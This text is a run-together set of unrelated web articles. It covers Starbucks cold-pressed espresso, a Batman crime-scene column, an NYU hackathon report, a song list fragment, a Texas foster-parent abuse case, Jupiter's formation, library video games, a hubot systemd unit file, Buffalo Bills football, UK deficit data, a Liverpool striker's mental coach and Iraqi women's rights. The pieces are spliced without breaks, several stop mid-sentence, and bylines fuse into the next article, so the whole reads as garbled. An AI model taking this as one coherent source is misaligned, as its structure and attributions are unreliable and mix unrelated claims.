Starbucks said the espresso pairs better with a variety of cold liquids to make a bigger selection of cold beverages. The cold-pressed espresso menu at the Seattle Roastery will include a Sparkling Cold-Pressed Americano, a shot of cold-pressed espresso poured over sparkling water and served on ice.
Starbucks will also offer a tasting flight with one cold-pressed Americano, one traditional Iced Americano and one Sparkling Cold-Pressed Americano. Additionally, the company will serve a Cold-Pressed Ginger Fizz featuring ginger ale and a shot of cold-pressed espresso poured over vanilla syrup and finished with grapefruit bitters.
Starbucks is putting more focus on iced beverages. In addition to the Nitro brew last year, the chain introduced Teavana Shaken Iced Tea Infusions earlier this year and gave away free iced tea in July.
Last year, Starbucks said it would quadruple its Cold Brew business by 2021. The company also wants to increase its cold beverage mix from 35 percent in 2013 to nearly 50 percent by 2021.
Cold brew sales have skyrocketed in recent years, growing 338.9 percent from 2010 through 2015, according to Starbucks and the market intelligence firm Mintel. Iced coffee consumption has grown 75 percent over the past decade.
Beverages have been an increasingly important focus of competition in the restaurant industry. Starbucks in the U.S. is fending off growing competition from McDonald’s, which recently unveiled its own expansion of its McCafé line of beverages, as well as Dunkin’ Donuts and the growing Tim Hortons brand.
Contact Jonathan Maze at [email protected]
Follow him on Twitter: @jonathanmazeBy Vernon Miles
The Blotter is an ongoing column by Alexandria Gazette reporter Vernon Miles about comic book topics featuring insight from real world experts.
—
The apartment is empty, except for the dead body in the living room. The lights are turned off, but from the neon glow from the street it’s clear there’s been a struggle. A murderer is on the loose. What do you do?
In real life, the answer would be to call the police. That’s what the academics say. That’s what the professionals say. Being a vigilante is a bad idea. But this is Gotham City and you’re Batman, so if you’re going to investigate this crime, you might as well do it right.
The FBI’s Crime Scene Investigation for Law Enforcement describes the first step in responding to a crime scene as securing the area. Specifically, being aware of any persons or vehicles leaving the crime scene. Given Batman’s frequent entry to crime scenes via window, this could be problematic, as this is not a likely exit route for many criminals. For a murder, if the perpetrator is not still at the scene, it’s unlikely they’ve remained in the immediate vicinity. However, for crimes like arson, Professor Tom Mauriello from the University of Maryland’s Department of Criminology and Criminal Justice says that police often look for people watching the fire.
“People who commit these crimes tend to like to watch,” said Mauriello. “Some get sexually aroused, it really depends on how screwed up they are. Now, police take pictures of the crowd at the scene of an arson.”
Where Batman has a solid advantage is in the second step: safety procedures. The types of gadgets vary depending on which version of Batman, but here the Arkham games’ “Detective Vision” could immediately scan for explosives or dangerous persons remaining in the vicinity of the crime scene. If these factors are present, obviously they become the next priority. Ideally, Batman should personally search every room for potential threats rather than relying on his gadgets, but with the police on their way to the scene, Batman more than likely has to move onto step three.
Emergency care seems like an area less commonly covered in most Batman books. Between the martial arts training and vehicle driving classes, presumably Batman’s taken at least a basic CPR course. First responders attempt to obtain a dying declaration, in some cases asking if the victim can identify their attacker.
According to Mauriello, after securing the scene, aiding those who are injured should be the top priority.
“If they’re hurt, focus on them,” said Mauriello. “That can be a problem at a crime scene when it keeps a responding officer from running after a suspect.”
However, Mauriello said no matter what, the priority has to be on the injured victims. If there are no injured victims, the focus then shifts to the deceased. Before any other work is done at the scene, Mauriello says investigators must wait for the medical examiner to remove the body. Police are not even allowed to touch the body until the medical examiner arrives. In the meantime, the FBI guidebook recommends documenting the condition of the scene as soon as possible, including whether the lights were turned on or off, window shades up or down, smells, temperature, movable furniture, and so on.
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The next priority for any uniformed officers (or Batman) is to limit contamination and disturbance of the physical evidence. This is one of the most problematic areas of Batman’s presence at a crime scene, as his presence, by definition, is contaminating the scene.
“While I am a HUGE fan of Batman, unless he has been trained and certified in crime scene analysis, I’d rather he focus on trying to prevent crimes by catching criminals in the act than try to process a murder scene,” said Julie Greico, Doctoral Candidate and Graduate Research Assistant at the Center for Evidence-Based Crime Policy. “While his presence at a crime scene might make bystanders feel more comfortable, that the Caped Crusader is there to help, he likely would be better off letting the professionals analyze the scene.”
One of the suggestions from Grieco was for Batman to offer use of his supercomputer to police for data analysis. This has some precedent in the comics during Dick Grayson’s tenure as Batman. In The Black Mirror, Commissioner Gordon references Grayson using the considerable Wayne fortune and tech to assist GCPD in crime scene analysis.
Back at the murder scene, Mauriello emphasized that the crime scene investigators perform no analysis on the evidence. Their job is to photograph the scene and collect evidence, then to deliver that evidence to the lab, while crime scene analysts take over from there. In some larger cities, analysts have specializations, most are general positions requiring an extensive education in chemistry and biology. If time is a pressing issue for Batman, this would mean however long he has at the scene should be spent photographing or collecting evidence rather than analysis.
The last big game-changer in crime scene analysis, Mauriello said, was DNA profiling in the late 1980’s and early 90’s. Mauriello said there has been new sets of powders and chemicals to collect fingerprints, but that no one is notably better than any other. But Mauriello did identify one of the newer gadgets used in investigations as a 360 degree laser scanning device, which placed in the middle of a crime scene, takes 20 minutes to record every inch of a room and simultaneously take photographs. Mauriello said the range of what’s covered by the scan is impressive.
“If you’ve done a scan, and a witness in court says they were across the street and they saw the crime in through the window,” said Mauriello, “the laser scan can show the window across the street and show what angle the witness would have seen.”
As the crime scene is being analyzed, Mauriello said that police (or, again, Batman) need to speak to people who own the property, if they’re still alive, or someone who knows the setting well enough to identify anything that’s out of place.
“When two objects touch, they leave something of the other,” said Mauriello. “The criminal leaves something and he takes something, like fingerprints, clothing, or hair fibers.”
Beyond the immediate crime scene, there are other ways of reaching out to those who might be able to put together a more complete image of what happened leading up to the murder.
“Social media, while not necessarily cutting edge, is a tool increasingly used by law enforcement,” said Grieco. “Police are using social media to improve community relations as well as search for suspects and potential witnesses to crime. And as long as Batman isn’t afraid of data overages, it’s a tool that can be utilized from the Bat-phone.”
However, investigations into social media have led to dire mistakes by amateur investigators in recent years. Following the Boston Bombing in 2013 and at the Sandy Hook Elementary School shooting in 2012, suspects had been wrongly named by amateur investigators online and in the media. In the Boston Bombing investigation, would-be investigators across the internet wrongly identified Sunil Tripathi as the bomber, who had been missing before the attacks and was found dead after the actual bombers had been caught. Beyond the contamination of evidence, falsely labeling suspects is one of the greatest dangers of having a vigilante involved in an investigation.
But even with all of this investigation concluded, there’s a deeper problem that would likely haunt Batman as it does police and investigators across the country: there is a 35.9 percent chance that the killer will never be arrested, much less brought to justice. While no crime statistics are available on Gotham, in New York City, there are 1,500 unsolved murders from the last decade. Even with all the evidence collected, all the pieces of the scene analyzed, even with the World’s Greatest Detective on the case: there’s a good chance that murderer may still go free.On the fourth floor of NYU's Tisch School of the Arts, there is a hackathon. Just walk in the door and follow the signs depicting George W. Bush wearing a Photoshopped Oculus Rift during his famous "Mission Accomplished" speech. Past the VR Lab you'll find a half-dozen tables full of hackers, staring at their laptop screens elbow to elbow. They're young, disheveled. Hair has had been mussed, collars tugged at, sleeves rolled up. A deep, computerized voice mutters incoherent gibberish off in the distance. A quirky machine with a tangle of wires twitches and squirts out Easy Cheese. Someone in VR makes a kissy face and waggles her head at nothing in particular. No one bats an eye.
Welcome to the third annual Stupid Shit No One Needs and Terrible Ideas Hackathon.
Eric Limer
Founded two years ago by Amelia Winger-Bearskin and Sam Lavigne, the Stupid Hackathon is an outgrowth of the duo's time as students in the school's Interactive Telecommunications Program (ITP), a two-year grad program that melds technology and art. This year's event is the largest by far—there around 100 people here today, Lavigne tells me. (A later count puts it at roughly twice as many.) To either side of him projection screens display the day's topics, which include:
VIRTUAL REALITY (FOR BABIES)
ARTISANAL AD NETWORKS
OPEN SOURCE DEBTORS PRISON
The Stupid Hackathon shares a portion of its DNA with the more common, often corporate-sponsored variety. Participants register ahead of time with an idea for a project and show up on event day to spend several hours in each other's company, working diligently to duct tape their ideas together—figuratively and literally—before the event closes with presentations and awards.
The Stupid Hackathon congeals around an absence of purpose.
That's where the similarities begin and end. While many hackathons organize themselves around a goal—like the Decoded Fashion Hackathon, intended to "create an app with the most innovative ability"—the Stupid Hackathon congeals around an absence of purpose. These are projects devoid of any greater meaning. Not because their creators couldn't find it, but because they made a conscious effort to avoid it. Examples from previous years explain it better than I ever could.
This year's fare is little different. From the moment I walk in I can spot all kinds of absurdities. One team—whose members trekked all the way from Connecticut—has taken to resurrecting a broken CNC machine, the kind of computerized tool that uses a system mechanical beams and tracks to manipulate a drill in three dimensions with millimeter precision. When I ask about their inspiration, the answer is wonderfully simple. "The Dremel broke and the Easy Cheese fits in the same spot."
The end goal of the project is naturally silly: Turning Easy Cheese back into a solid form by 3D-printing it into a bar. But the technical challenge is no joke. CNC machines like this are subtractive, creating finished products by boring into wood or plastic with spinning bits. To transform one into a 3D printer is to turn the thing inside out. However, the team's chief challenge is nothing quite so complicated. "The cheese smells pretty gross," one member half-jokingly complains. Let me tell you, they are not wrong.
Eric Limer
Another hacker sits in a corner with a giant desktop screen he clearly dragged in for the event. On it is a transparent cube that is spinning wildly and full of hundreds of rag-dolling nude bodies. Upon closer inspection (of the screen, not the man) you can tell that they are his nude bodies.
"I wanted to make a snow globe with a bunch of my naked bodies in it," he explains. "It's just what the world needed."
Once again, this stupid pursuit isn't entirely frivolous. The hacker explains that the snow globe is really just an extension of his thesis: He's exploring the future of realistic digital avatars, and what happens when the image of your body falls into someone else's hands, or goes outside of your comfort zone. Would you be able commit simulated mass murder in video games so easily if the bodies were those of your family? Your friends? Your own?
"With technology right now, it's going to be really simple to make an avatar that's based on photos," he says as the cube makes a particularly violent twist, flinging a half dozen bodies through its simulated glass wall and off into the simulated distance.
Eric Limer
Virtually every project at that hackathon is simultaneously stupid and smart. One hacker sums it up when I lend her my phone to take a picture of her own project—a book-turned-phone-case for masking your slack-jawed screen addiction with something that looks halfway intelligent. "The best projects are the ones that straddle that line," she says. "The line between stupid and not stupid."
The careful, self-conscious straddling of this line is the closest thing the Stupid Hackathon has to a goal, and it's that pursuit Lavigne and Winger-Bearskin encourage in participants. The clowning around is a direct response to the countless self-serious corporate hackathons the pair encountered during their time as students at ITP.
"We were getting tons of invitations to really dumb hackathons," Lavigne says, rolling his eyes. "They didn't think they were dumb, but they were all this stuff like 'Oh we're going to solve the water crisis!' or 'We're going to solve poverty in this two-day hackathon!'." He cites a Microsoft hackathon somehow involving the film Her and the theme of "love"—the specific details of which neither he nor Winger-Bearskin can't quite remember—as the final straw. You don't have to look far to find similar examples, like the HackDC "Hackathon for Heath" which confidently planned to "hack PTSD" somehow.
A partial list of the evening's presentations Eric Limer
This megalomaniacal implication that tech—corporate tech specifically—can solve every problem is only the smallest slice of a typical hackathon's hypocrisy and weirdness, according to the pair. "A lot of times you have to sign away your rights, and if you make something, the hackathon or its sponsors will own it, " Winger-Bearskin says, clearly incredulous at the prospect. "Why would you go and work for 24 hours on something like this just to give it away to someone else for free?" Nonetheless, these events are popular, dominated by a sort of boys-club social Darwinism, with teams of |
of falling in love for every minor gesture a woman might make, such as sneezing; the idea of lovers understanding each other's every nonsense-sleep-talking mumbled syllable. Perhaps the song is a bit melodramatic, but as such it captures young love and infatuation in strikingly earnest ways.
1. Mr. Jones August and Everything After For all of my self-professed modesty and focus cast on the craft of my art as opposed to recognition, I can't deny the impulse to strive toward fame and fortune. The American Dream is engrained in me like so many of my contemporaries and those who came before me, indoctrinated in a culture of self-betterment and boot strapping, and the implicit suggestion that celebrity is the natural and inherently desirable reward of all that hard work.
"Mr. Jones" gets me.
The song is about seeking celebrity without a concrete sense of why you're doing so, and the companion amorphous desires for love and companionship and influence, all couched with in the setting of San Francisco dive bar, making bold claims with a drinking buddy whilst watching a flamenco dancer strut her stuff. "Mr. Jones" is nothing short of a portrait of a generation—a song all about dreams and desires that closes on the sorrowful, unspoken recognition that the narrator may never achieve his lofty goals.
Read stories and miscellaneous criticism from Mike Chin at his website and his thoughts on a cappella music at The A Cappella Blog. Follow him on Twitter @miketchin.Miguel Briseno, who's currently being held in the Medina County Jail on a $500,000 bond, was a licensed foster parent from 2005 through 2010, Brown said. During that time, more than 180 teenage girls or younger
Miguel Briseno, who's currently being held in the Medina County Jail on a $500,000 bond, was a licensed foster parent from 2005 through 2010, Brown said. During that time, more than 180 teenage girls or younger passed through his care. At various times, Briseno was taking care of 12 girls at once.
A Medina County man accused of sexually assaulting five former foster children, including several in Bexar County, took in more than 180 young girls over a five year period, officials said.
That leads investigators to believe there could be numerous other victims who have yet to come forward.
"It's not a question about whether there are more," said Medina County Sheriff Randy Brown. "It's just about how many."
UPDATE: Former foster daughters react to arrest of S.A.-area man accused of sexually assaulting 5 girls
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One additional victim has already come forward since news broke Wednesday of 58-year-old Miguel Briseno's arrest, Brown said, bringing the unofficial total to six victims. A charge has not been filed in the sixth alleged case.
Briseno, who is currently being held in the Medina County Jail on a $500,000 bond, was a licensed foster parent from 2005 through 2010, Brown said. During that time he lived in both Bexar and Medina counties.
Over the course of the five years, more than 180 girls passed through his care, Brown said. At various times, Briseno was reportedly taking care of up to 12 girls at once.
Brown said Child Protective Services contracted with a third-party company, who has not yet been publicly identified, to place the girls in Briseno's home.
"Those girls were taken from some environment and then you have some jackass like him abusing these girls that already have troubles," Brown said. "I'm aggravated at the whole system. I'm aggravated at the company that placed these girls. It was a money-making deal, the way they were running those girls through there like livestock. It wasn't about making a better world for them. They were making a profit off them."
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Representatives of Child Protective Services could not immediately comment on the relationship with the company.
Two of the charges against Briseno are out of Medina County, and the remaining three originated in Bexar County. Brown said Briseno first became a foster parent while living in Von Ormy, where the alleged assaults occurred, and later moved to Devine, Texas, in Medina County.
Wednesday's arrest was not the first time Briseno was arrested on child sex abuse charges. In April 2013, the Medina County Sheriff's Office arrested him on a charge of solicitation to commit sexual assault of a child. The arrest came after one of Briseno's foster children said he had sexually assaulted her in August 2012, when he no longer had a foster license, Brown said.
It is not clear why Briseno did not have a license after 2010 and how Briseno still had foster children in his care two years later, though investigators discovered Briseno had attempted to move his foster parent license into his wife's name, Brown said.
"It's not a loophole, it's just downright wrong," Brown said.
RELATED: 26-year-old woman allegedly killed man after he slapped her mom
Briseno pleaded guilty in September 2015 to a reduced charge of attempted assault, a Class B misdemeanor. Brown said investigators and prosecutors had difficulty securing testimony against Briseno. He was sentenced to 180 days in jail, though county officials couldn't confirm how much time he was actually incarcerated.
Brown said his office, as well as other investigating agencies like the Texas Rangers, plan to look into the unnamed third-party company responsible for placing the children in Briseno's care. They're also working to determine whether his wife could be held criminally responsible.
All of Briseno's reported victims were teenagers at the time of the alleged abuse. They're now in their 20s. For investigators, the next step is to identify the dozens of remaining girls who were ever in Briseno's care.
"We don't know where they're at," Brown said.
"If you've stayed at that house, if you were a foster child [in Briseno's care], please contact us," he said. "Whether you feel something inappropriate happened or not, we'd still like to talk to you."
Victims are asked to call 210-335-8477 if they have any information on Briseno's alleged abuse.
Text "NEWS" to 77453 for breaking news alerts from mySA.com
cdowns@mysa.com | Twitter: @calebjdownsJupiter is the largest planet in our solar system—but it may also be the oldest. As Lisa Grossman reports for Science News, new research suggests that the planet was the first in our celestial family to take shape. Earth may even owe its presence to the gaseous giant.
Scientists previously pelieved that Jupiter formed within the first 10 million years of our solar system's birth, which began with the first minerals taking shape some 4.57 billion years ago, Phil Plait writes for Syfy Wire. Along with other gaseous giants—Saturn, Neptune and Uranus—Jupiter's swirling clouds likely originated from the massive spinning disk of gas and dust around our young star, a formation that only lasted around 10 million years, Grossman reports. But how long that took and when Jupiter actually began forming has still been up for debate. Now a new study, published this week in the Proceedings of the National Academies of Science, uses evidence from meteorites to suggest that Jupiter was the first of these giants to form.
Most Earth-bound meteorites are fractions of space rock that break off from asteroids residing in a large asteroid belt between Mars and Jupiter, Plait writes. Primarily composed of cosmic leftovers from the formation of our solar system, asteroids bear fingerprints from this momentous event. These chemical signatures take the form of isotopes, elements with the same number of protons but different number of neutrons, which can help scientists figure out both the age and origin of the space rocks.
So researchers studied the isotopic ratios of the heavy metals tungsten and molybdenum in 19 samples from iron meteorites at the Natural History Museum in London and Chicago’s Field Museum. They dissolved a bit of each sample in acid, reports Grossman, and then separated out the tungsten and molybdenum for analysis.
The results suggest that the meteorites could be separated into two general categories: a group that formed closer to the sun than Jupiter's current orbit and one that formed further out. But according to the data, both groups of meteorites formed at the same time, roughly one to four million years after the solar system began.
So why where they clustered into two different groups? A young Jupiter, whose gravity could keep the meteorite populations apart.
“The only mechanism or way to do this is to have a gas giant in between them,” study author Thomas S. Kruijer of the Lawrence Livermore National Laboratory tells Amina Khan at The Los Angeles Times. “Because only such a body is large enough to separate such large reservoirs.”
Researchers believe Jupiter's solid core grew to 20 times the size of the Earth in those first million years, Khan reports. Besides keeping asteroids apart, the planet's gravity could have also gobbled up much of the debris swirling around during the early solar system. This could be one reason our celestial family has smaller rocky planets like Earth, Mars, Venus and Mercury near the sun while other systems discovered so far commonly have so-called super-Earths and gas giants zipping around their inner layers.
If not for Jupiter’s early birth, we may not exist at all. “Without Jupiter, we could have had Neptune where Earth is,” Kruijer tells Grossman. “And if that’s the case, there would probably be no Earth.”
Plait points out that the study is no smoking gun, and that some models suggest Jupiter does not even have a core, but condensed into a gas giant from all the dust and debris surrounding the sun. Data from the Juno probe, which is currently poking around Jupiter, shows something in between: a squishy core that could be much larger than scientists currently think.
The gaseous giant likely has many more secrets to reveal. Just this week, researchers found two new moons orbiting the planet, bringing its total count up to 69. Who knows what else the stormy giant may be hiding.Libraries that provide video games for cardholders to check out, as well as venues for members to play games within the library, increase the circulation of literature and create havens for younger patrons, according to a report from NPR.
The report surveys a handful of library systems that offer video games to its members. The Houston Public Library, which houses more than a dozen consoles and handheld systems for members to use — including seven PlayStation 3 and four Xbox 360 consoles hooked up to large screen TVs — says people who come in to play games often check out more books as well.
"It's a primary part of our service that we offer, and it results in a 15 to 20 percent increase in the circulation of books," Sandy Farmer, manager of Central Youth Services for the library, told NPR. "The kids and the teens spend more time here. Families come — their parents have things to do on the computers, because a lot of the families don't have computer access at home, so the kids have some things to do and while they're here. They find out, 'There's Superman. I can read Superman.'"
The New York Public Library's NYPLarcade program is similar to a book club, encouraging members who play the library's games to gather and discuss them.
"Gamers can come in, they can play games and they can also talk about them and engage in an analytical discussion: talk about strategic methods for winning and really sharing ideas and thoughts about how the games work, their structure and so forth," said Kevin Winkler, director of Library Sites and Services.
Hackensack, New Jersey's Johnson Public Library uses video games to create a safe space for teenagers, although with a few rules: no games rated M or above are allowed.
"[Video games are] fun, and I think there's a value to kids coming to the library and having fun and having a place where they can hang out with each other," said librarian Keri Adams. "There aren't a lot of safe places teenagers can go, so it's important to give them that, even if it isn't the most educational experience."I've recently been building an IRC server for work, alongside other things, which finally gave us the chance to deploy an instance of hubot, githubs automation/procrastination IRC bot.
It was also a good way to force myself to install a CentOS 7 box and get to grips with systemd, something I should have done a long time ago.
First major issue I hit was that hubot didn't have a unit file that I could find anywhere, this wasn't really an issue whilst I was testing, but when it went live I didn't want to have to rely on manually running a small bash wrapper I'd written or using an abomination like forever.js.
The bash wrapper I've written is a bit rough, but perfectly functional:
GITLAB_CHANNEL = "#announce" REDIS_URL = "redis://127.0.0.1:6379/think" HUBOT_IRC_SERVER = irc.domain.tld HUBOT_IRC_USESSL = "true" HUBOT_IRC_SERVER_FAKE_SSL = "true" HUBOT_IRC_ROOMS = "#general,#announce,#alerts" HUBOT_IRC_NICK = "hubot" HUBOT_IRC_UNFLOOD = "true" HUBOT_IRC_PORT = 6667 HUBOT_IRC_PASSWORD = "HubotPasswordsAreTheBestPasswords" HUBOT_IRC_UNFLOOD = "false" /home/hubot/bin/hubot -a irc --name hubot
To replace all that with a sensible unit file was quite a challenge, and I can't find evidence of anyone else having done it. Here's what I came up with:
[Unit] Description=Hubot is a robot After=ngircd.service [Service] Environment=GITLAB_CHANNEL=#announce Environment=HUBOT_IRC_SERVER=irc.domain.tld Environment=HUBOT_IRC_USESSL=true Environment=HUBOT_IRC_ROOMS=#general,#announce,#alerts Environment=HUBOT_IRC_NICK=hubot Environment=HUBOT_IRC_UNFLOOD=true Environment=HUBOT_IRC_PORT=6667 Environment=HUBOT_IRC_PASSWORD=HubotPasswordsAreTheBestPasswords Environment=HUBOT_IRC_UNFLOOD=false Environment=PATH=node_modules/.bin:node_modules/hubot/node_modules/.bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin WorkingDirectory=/home/hubot ExecStart=/usr/bin/node /home/hubot/node_modules/hubot/node_modules/.bin/coffee /home/hubot/node_modules/.bin/hubot -a irc --name hubot Restart=always StandardOutput=syslog SyslogIdentifier=hubot User=hubot Group=hubot [Install] WantedBy=multi-user.target
Reload systemd to put it all live:
systemctl daemon-reload
Then chkconfig it on (old habits die hard) and start it up:
systemctl enable hubot
systemctl start hubot
So far, that's about it really. It does what I want and it does it pretty well. It may be a bit rough in parts but it should be pretty transferable to your own install of hubot. Any comments/thoughts, please get in touch.I was finally ready to be irritated by the Buffalo Bills' use of Brad Smith and the Wildcat package in the second quarter of Sunday's 31-24 win over the Philadelphia Eagles.
Smith, signed to a $15 million deal in the abbreviated off-season, had carried the ball seven times in four games. He'd thrown an interception and taken a sack on designed pass plays out of the Wildcat, and he'd caught two passes as a receiver. Sure, there's value in a player like Smith, I thought; just not $15 million in value.
With the Bills riding a huge surge of momentum leading 21-7 in the second quarter, Smith entered the game for his first Wildcat play of the game. He was stopped for a loss of three yards on the play. Buffalo punted a short time later, and on the first play of Philadelphia's ensuing possession, Michael Vick scrambled for 22 yards.
There goes the momentum, I thought. Then I got frustrated. I don't easily get frustrated during Bills games, mind you.
From what I've been told by folks who watched the game on FOX, color analyst Brian Billick expressed a similar sentiment about the Wildcat package: it's a double-edged sword. For all that it brings to the table in terms of pre-game preparations and throwing proverbial curveballs, it can also really put a wrench in the flow of a game. That's what I thought happened with that carry.
But the Bills quickly got a stop on that Eagles possession, and then watched as the Eagles blew a golden opportunity to score right before halftime (after a Ryan Fitzpatrick interception) by wasting the final eight seconds of the half on an ill-conceived heave into the end zone. Momentum secured.
Then, Smith came out in the Wildcat at the start of the third quarter and promptly rushed for a touchdown, increasing Buffalo's lead to 28-7. Chan Gailey dialed it up again late in the fourth quarter when, after Fred Jackson was stopped for a yard's loss on first down while trying to milk the clock, Smith came in and picked up 10 yards on two straight carries - and very nearly picked up the first down himself that would've put the game on ice. (Buffalo got that first down on the next play when Juqua Parker jumped offside.)
I'm still not sure how I feel not just about the Wildcat package or its usage, but more importantly, about how little Smith has been used after signing such a large contract. I've said for weeks that Smith could have a Jackson-type impact on this offense; he has a similar playing style and could obviously be much more productive. Those sentiments are fighting the feeling that Gailey has, by and large, done an excellent job of wielding his new toy during games, and has gotten a lot of quality snaps out of that package despite its relative lack of use.
At the end of the game, I thought back on that play, and realized that for one week - and probably for longer - Smith and Gailey had shut up the pessimist fan in me. But this is still something I'll be watching with keen interest moving forward; as the Bills become more of a gimmick offense (i.e. Jackson-centric with draws, screens and a very quick passing game) while their receiving corps thins out, the importance of Smith and the Wildcat could increase very quickly.Britain’s shortfall in its finances amounted to 10.4pc of gross domestic product (GDP) in 2010, according to data for each of the EU’s 27 member states from the statistics agency Eurostat.
That meant the UK had a bigger deficit, or annual shortfall, than the recently bailed-out Portugal and also Spain, which is viewed as the next euro-using nation to potentially need international aid.
The largest deficit in proportion to the size of the country’s economy was seen in Ireland, where the extra borrowing needed to shore up the banks left its deficit at 32.4pc of GDP.
Greece, which received a €110bn bail-out last year, was second with a deficit of 10.5pc, followed by the UK. Spain, at 9.2pc, and Portugal, at 9.1pc, were in fourth and fifth place.
The data showed the Greek finances were in an even poorer state than previously thought, as the latest figure – while trimmed from the previous year’s 15.4pc – was higher than the latest 9.6pc estimate from the European Union and the International Monetary Fund.
In terms of total debt, the UK fared much better, although it was still among the 14 EU member states burdened with a debt higher than 60pc of GDP last year. EU member states are supposed to keep their debt under the 60pc level.
The debt figures, which refer to a government’s total borrowing over time, rather than the latest yearly shortfall, showed Greece was again in the worst position with a debt equivalent to 142.8pc of its GDP, followed by Italy at 119pc and Belgium at 96.8pc.
The UK was in the ninth weakest position with a debt standing at 80pc of GDP, which was worse than Spain’s 60.1pc. The average debt across the 16 members that use the euro hit a record 85.1pc, up from 79.3pc the previous year.
The Eurostat data is calculated on a different basis to the debt and deficit figures used by the British government to set targets to improve the public sector's finances.
These match up with the fiscal year, which for 2010-11 saw the deficit come in at 9.6pc of GDP, according to the Office for National Statistics. The debt stood at 59.9pc in March, stripping out the impact of bailing out the banks.
Eurostat expressed “reservations” about the way the UK reports its military spending. However, a spokesman said because the issue was related to the timing of the expenditure rather than the overall amount, any revisions should not affect the UK's debt levels.
Separately, revisions to past years to comply with the EU agency's accounting methods added some €4bn to Britain’s reported deficits over the past four years.
Aside from the bald debt and deficit figures, the UK's situation is strengthened by the fact that much British sovereign debt is long-term, which means the UK does not have to raise huge sums of money imminently.
A Treasury source argued that it was "thanks to the action the Coalition has taken" - the £110bn austerity programme - that the interest rates the UK pays on its debt are comparable with those of Germany, the eurozone's economic powerhouse.New Liverpool striker Christian Benteke has turned to a mental coach to help him adjust to life at one of the world's biggest clubs.
Benteke, 24, is under huge pressure at Anfield to live up to the £32 million fee that the Reds paid to bring him in from Aston Villa.
The Belgium international has scored just once for his new club, but had enlisted the help of Michel Bruyninckx, a mental coach who has a reputation for aiding the development of many of Belgium's current crop of stars.
"When he was a boy in Belgium, he changed regularly from one club to another, because he only had one profile -- as a physically strong player," Bruyninckx told the Mirror.
"I tried to encourage him then to expand his mind to see that he must not accept those labels and that he could continuously change his skills, and the way he learned to think has been enormously important to his career.
"I hear people say he is not a Liverpool type of player, but I tell you that he can adapt to any club.
"This challenge is not new for him. For many years, people tried to convince Christian he was only a physical player but, through his mental power, he has changed all that.
"When you watch him in the national team, you can see that, technically, he is skilled, he is creative, he is intelligent. I fully believe that, through Liverpool, he will go to a higher level again."
Christian Benteke has a lot of expectation on his shoulders.
The 64-year-old Bruyninckx worked with Standard Liege and Belgium's youth teams and now consults with clubs like Real Madrid and AC Milan over their young players.
And Benteke has worked hard with the coach to try and improve his mental capacities.
"Step by step, he has understood that the modern game requires other things and his mental endurance and mental power has changed a lot," Bruyninckx added.
"When I spoke with him, when he gave me the call, I said, 'Listen, Christian, you have to work on it, and that will open your world. If you decide yourself, then you can go to anything.'
"One of his major points is that he has a broad mindset. He is open to learn every day of his life.
"We understand, more and more, that the capacity of the brain is remarkable and, once a player is aware how the game is played in the head, he can evolve continuously."Historical background Edit
Education Edit
Further information: Education in Iraq Iraqi schoolgirls Iraq established an education system in 1921 and by the 1970s education became public and free at all levels.[9] This changed in the 1990s when the first Gulf War ensued and economic sanctions caused educational institutions to rapidly deteriorate. The gender gap with regard to Iraq's literacy rate is narrowing. Overall, 26% of Iraqi women are illiterate, and 11% of Iraqi men. For youth aged 15–24 years, the literacy rate is 80% for young women, and 85% for young men.[10] Girls are less likely than boys to continue their education beyond the primary level, and their enrollment numbers drop sharply after that. Education levels attained by Iraqi women and men in 2007 were:[11] Level of education Female (%) Male (%) Total (%) Primary 28.2 30.2 29.2 Secondary 9.6 13.7 11.6 Preparatory (upper secondary) 5.0 8.9 6.9 Diploma 3.8 5.4 4.6 Higher 3.1 5.6 4.4
Women's rights Edit
Marriage Edit
By law, a woman has to be eighteen years or older to get married. Marriage and family are necessities for economic needs, social control and mutual protection within the family. Divorce is a very common practice in Iraq.[36]
Legal system Edit
The Iraqi Constitution of 2005 states that Islam is the main source of legislation and laws must not contradict Islamic provisions. The family law is discriminatory towards women, particularly with regard to divorce, child custody, and inheritance. In a court of law, a woman’s testimony is worth in some cases half of that of a man, and in some cases it is equal.[37] In March 2008 an Iraqi 17-year-old girl was violently murdered by her father and two older brothers for becoming friendly with a British soldier. When her mother ran away out of defiance of such a cruel act, she was found dead on her street, shot in the head twice. The father was released after two hours of questioning from the Iraqi police force and was neither charged nor tried with the murder of his own daughter, although he had confessed to killing her.[38] Sharia law Edit Seldom worn at home by young urban women, the wearing of chador has expanded rapidly in Iraq under pressure from Islamists since 2003. Islam is the official religion of Iraq with about 97% of the population practice this religion.[39] On January 29, 2004, the interim Iraqi government, supported by the Islamic Supreme Council of Iraq and despite the strong opposition of the American Administrator Paul Bremer, launched Resolution 137 which introduced sharia law in the "law on personal civil status", which since 1958 established rights and freedoms for Iraqi women. This resolution permitted very different interpretations from the law of 1958 on the part of religious communities. It opened an additional breach in the civil law and risked exacerbating inter-religious tensions in Iraq.[40] In a statement, OWFI affirmed : Iraq is a secular society. Women and men in Iraq never imagined that they would defeat Ba'athist Fascism only to have it replaced with an Islamic dictatorship.[41] Despite its reputation for being relatively secular, sharia law was never totally absent from Iraq before 2003. The "law on personal civil status" provided that, in the case that it was not expressly forbidden in the law, it would be sharia law that would prevail.[42] A coalition of 85 women's organizations, through means of international communication, launched a protest movement.[42] One month later, on January 29, 2004, the resolution was withdrawn.[43] Beginning in September 2004, OWFI launched a new campaign against the forced wearing of the veil being enforced by Islamic militias, notably in the universities.[44] In 2005, there was once again debate over the new constitution, which considered islam as one of the sources of Iraqi law. The outline of the constitution proposes, in article 14, the repeal of existing law and to refer merely to family law, in concordance with Islamic sharia law and other religious codes in Iraq. In other words, it makes women vulnerable to all forms of inequality and social discrimination. and makes them second class citizens, lesser human beings writes Yanar Mohammed[45] For the same reasons, OWFI denounced the 2005 elections, dominates by parties hostile to women's rights.[46] Women's groups also denounce "pleasure marriages", based on a practise commonly believed to be founded on Islamic law, which was revived during the occupation of Iraq: it authorizes a man to marry a woman, through a money gift, for a determined period of time. In most cases, groups such as OWFI charge, it provides a legal cover for prostitution. [47]
Crimes against women Edit
Women's prisons Edit
